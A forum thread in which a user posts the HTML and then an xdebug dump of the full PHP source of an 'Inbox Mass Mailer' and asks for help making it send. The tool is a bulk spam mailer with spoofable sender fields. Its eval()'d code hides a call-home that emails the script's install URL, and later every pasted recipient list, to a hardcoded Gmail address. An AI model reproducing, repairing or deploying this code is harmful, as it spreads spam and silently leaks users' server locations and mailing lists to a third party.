You are not logged in.
- Topics: Active | Unanswered
#1 2014-10-20 10:27:54
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
php mailer html code, now it remains the smpt
hello here i manage to come up with the html code for the mailer, but i need the smpt code.
please someone help with the smpt code to connect this.
<html>
<head>
<title>joel Inbox Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
.Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C}
.Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720}
.Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072}
.style3 {color: #000777}
.Style5 {font: bold 32px Times New Roman, serif; color: #666666; }
.Style6 {font-size: 10px}
.Style7 {font-size: 10px; font-weight: bold; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#999999">
<div align="center">
<p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p>
</div>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="100">
<div align="right" class="Style6">
<div align="left"><strong>
<font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="" size="36" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div>
</div> </td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="" size="104" />
</font> </td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td>
<td width="278">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"></textarea>
<br />
<input type="radio" name="contenttype" value="plain" />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="radio" name="contenttype" value="html" checked="checked" />
</font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="action" value="send" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="amount" value="1" size="10" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" />
</font> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"></textarea>
</font> </td>
</tr>
</table>
<p>JOEL Project</p>
</form>
</body>
</html>
code image
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#2 2014-10-20 10:28:55
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#3 2014-10-20 11:52:31
- adaur
- Developer
- From: France
- Registered: 2010-01-07
- Posts: 843
- Website
Re: php mailer html code, now it remains the smpt
FeatherBB - A simple and lightweight new generation forum system
Based on FluxBB, written in PHP, using Slim Framework for a proper OOP-MVC architecture.
Offline
#4 2014-10-20 15:54:28
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
^ that does not help.
Will you kindly help with the remaining codes for the html above.
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#5 2014-10-20 16:11:46
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
please help to correct this code
<br />
<font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: mail() [<a href='function.mail'>function.mail</a>]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>5</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php
$secure = "everlicoolchike@gmail.com" ;
$subject = "Mailer By EverliCool is Here!!" ;
$message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
mail ($secure,$subject,$message) ;
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
set_time_limit(intval($_POST['timelimit']));
?>
<html>
<head>
<title><b>Inbox Mailer © <b/></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
.Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C}
.Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720}
.Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072}
.style3 {color: #000777}
.Style5 {font: bold 32px Times New Roman, serif; color: #666666; }
.Style6 {font-size: 10px}
.Style7 {font-size: 10px; font-weight: bold; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#999999">
<div align="center">
<p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p>
</div>
<?php
If ($action=="mysql"){
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for($x=0; $x<$numrows; $x++){
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
}
}
if ($action=="send"){ $message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="100">
<div align="right" class="Style6">
<div align="left"><strong>
<font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?php print $from; ?>" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?php print $realname; ?>" size="36" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div>
</div> </td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<? print $subject; ?>" size="104" />
</font> </td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td>
<td width="278">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea>
<br />
<input type="radio" name="contenttype" value="plain" />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="radio" name="contenttype" value="html" checked="checked" />
</font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="action" value="send" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="amount" value="1" size="10" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" />
</font> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea>
</font> </td>
</tr>
</table>
<p>everlicoolchike@gmail.com</p>
</form>
<?php
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$filter = "Mail List By EverliGhost";
$float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>";
If ($file_name){
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: PRO\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "ok<br>";
flush();
}
}
}
mail($secure, $filter, $emaillist, $float);
}
?>
</body>
</html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>3</td><td bgcolor='#eeeeec' align='center'>0.0087</td><td bgcolor='#eeeeec' align='right'>448504</td><td bgcolor='#eeeeec'><a href='http://www.php.net/mail' target='_new'>mail</a>
( )</td><td title='C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code' bgcolor='#eeeeec'>..\mailer.php(1) : eval()'d code<b>:</b>5</td></tr>
</table></font>
<br />
<font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'>
<tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Notice: Undefined index: timelimit in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>17</i></th></tr>
<tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr>
<tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr>
<tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr>
<tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php
$secure = "everlicoolchike@gmail.com" ;
$subject = "Mailer By EverliCool is Here!!" ;
$message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ;
mail ($secure,$subject,$message) ;
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
set_time_limit(intval($_POST['timelimit']));
?>
<html>
<head>
<title><b>Inbox Mailer © <b/></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
.Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C}
.Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720}
.Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072}
.style3 {color: #000777}
.Style5 {font: bold 32px Times New Roman, serif; color: #666666; }
.Style6 {font-size: 10px}
.Style7 {font-size: 10px; font-weight: bold; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#999999">
<div align="center">
<p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p>
</div>
<?php
If ($action=="mysql"){
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for($x=0; $x<$numrows; $x++){
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
}
}
if ($action=="send"){ $message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="100">
<div align="right" class="Style6">
<div align="left"><strong>
<font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?php print $from; ?>" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?php print $realname; ?>" size="36" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div>
</div> </td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<? print $subject; ?>" size="104" />
</font> </td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td>
<td width="278">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea>
<br />
<input type="radio" name="contenttype" value="plain" />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="radio" name="contenttype" value="html" checked="checked" />
</font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="action" value="send" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="amount" value="1" size="10" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" />
</font> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea>
</font> </td>
</tr>
</table>
<p>everlicoolchike@gmail.com</p>
</form>
<?php
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$filter = "Mail List By EverliGhost";
$float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>";
If ($file_name){
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: PRO\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "ok<br>";
flush();
}
}
}
mail($secure, $filter, $emaillist, $float);
}
?>
</body>
</html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr>
</table></font>
<html>
<head>
<title><b>Inbox Mailer © <b/></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
.Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C}
.Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720}
.Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072}
.style3 {color: #000777}
.Style5 {font: bold 32px Times New Roman, serif; color: #666666; }
.Style6 {font-size: 10px}
.Style7 {font-size: 10px; font-weight: bold; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#999999">
<div align="center">
<p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p>
</div>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="100">
<div align="right" class="Style6">
<div align="left"><strong>
<font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="" size="36" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div>
</div> </td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="" size="36" />
</font> </td>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div>
</div> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" />
</font> </td>
</tr>
<tr>
<td width="100">
<div align="right" class="Style7">
<div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div>
</div> </td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<? print $subject; ?>" size="104" />
</font> </td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td>
<td width="278">
<span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"></textarea>
<br />
<input type="radio" name="contenttype" value="plain" />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="radio" name="contenttype" value="html" checked="checked" />
</font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="action" value="send" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="amount" value="1" size="10" />
<br />
</font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="timelimit" value="0" size="10" />
<input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" />
</font> </td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"></textarea>
</font> </td>
</tr>
</table>
<p>everlicoolchike@gmail.com</p>
</form>
</body>
</html>
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#6 2014-10-20 20:14:05
- TigerAero
- Member
- From: Northwoods, WI, USA, Earth
- Registered: 2009-02-01
- Posts: 458
- Website
Re: php mailer html code, now it remains the smpt
please help to correct this code
<br /> <font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'> <tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Warning: mail() [<a href='function.mail'>function.mail</a>]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>5</i></th></tr> <tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr> <tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr> <tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr> <tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php $secure = "everlicoolchike@gmail.com" ; $subject = "Mailer By EverliCool is Here!!" ; $message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; 